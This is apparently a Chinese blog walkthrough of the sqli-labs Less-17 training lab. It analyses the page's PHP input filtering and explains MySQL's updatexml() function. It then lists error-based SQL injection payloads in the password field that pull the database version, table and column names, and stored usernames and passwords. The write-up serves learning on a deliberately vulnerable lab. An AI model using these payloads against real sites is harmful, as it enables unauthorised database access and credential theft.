sqli-labs Less-17

Less-17 POST -Update Query -Error Based -String

0x01.查看代码

与往常一样随便输入几组测试一下
uname=1’&passwd=1
uname=1”&passwd=1
uname=1&passwd=1’
uname=1&passwd=1”
都返回错误页面

根据这关提示,Mysql语句应该涉及到update,查看一下源码

在这里插入图片描述

在这里插入图片描述
接收到用户提交的username和password后,首先根据uname查询数据库的username和password,若uname存在则用passwd替换password,若不存在则显示slap1.jpg。

输入正确的用户名看看:username:admin Password:1‘

在这里插入图片描述

有报错信息,存在注入点

0x02.涉及的几个PHP函数

substr()函数
在这里插入图片描述
get_magic_quotes_gpc()函数

get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。
当magic_quotes_gpc打开时,所有的’(单引号)、"(双引号)、(反斜杠)和NULL(空字符)会自动转为含有反斜杠的溢出字符。

addslashes()函数在这里插入图片描述
stripslashes()函数
在这里插入图片描述
ctype_digit()函数

ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE。

mysql_real_escape_string()函数
在这里插入图片描述

intval()函数在这里插入图片描述
成功时返回var的integer值,失败时返回0。空的array返回0,非空的array返回1,最大的值取决于操作系统。

0x03.分析代码

在这里插入图片描述
1.如果uname非空,截取它的前15个字符。
2. 如果php环境变量magic_quotes_gpc打开,删除由 addslashes() 函数添加的反斜杠。
3. ctype_digit()判断是不是数字,是数字就返回true,否则返回false,mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

对于uname的过滤非常严谨,所以我们只能在passwd这里注入

0x04.构造payload

updatexml()函数

UpdateXML(xml_target, xpath_expr, new_xml)

在这里插入图片描述
第一个参数是目标是针对于xml文档
第二参数是xpath的表达,这里可以看下xpath教程: http://www.w3school.com.cn/xpath/
第三个参数是将xpath表达式转换成什么,也就是替换查找到的符合条件的数据updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在这里插入图片描述
在这里插入图片描述

其中’//b’的斜杠表示不管b节点在哪一层都替换掉,而’/b’则是指在根目录下替换,此处xml_target的根目录节点是a。

0x05.注入获取数据

获取版本号
uname=admin&passwd=1’and(updatexml(1,concat(0x5c,version(),0x5c),1))#&submit=Submit

在这里插入图片描述
获取数据库名
uname=admin&passwd=1’ or updatexml(1,concat(’#’,(database())),0)#&submit=Submit

在这里插入图片描述
获取表名
uname=admin&passwd=1’ or updatexml(1,concat(’#’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),0)#&submit=Submit
在这里插入图片描述
获取字段名
uname=admin&passwd=1’ or updatexml(1,concat(’#’,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),0)#&submit=Submit
在这里插入图片描述
获取字段值
uname=admin&passwd=’ or updatexml(1,concat(’#’,(select concat(id,’#’,username,’#’,password) from users limit 0,1)),0)

在这里插入图片描述

通过修改limit值来获得其他字段

(看了一些大佬写的相关文章,根据自己的思路整理了一下,侵删)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值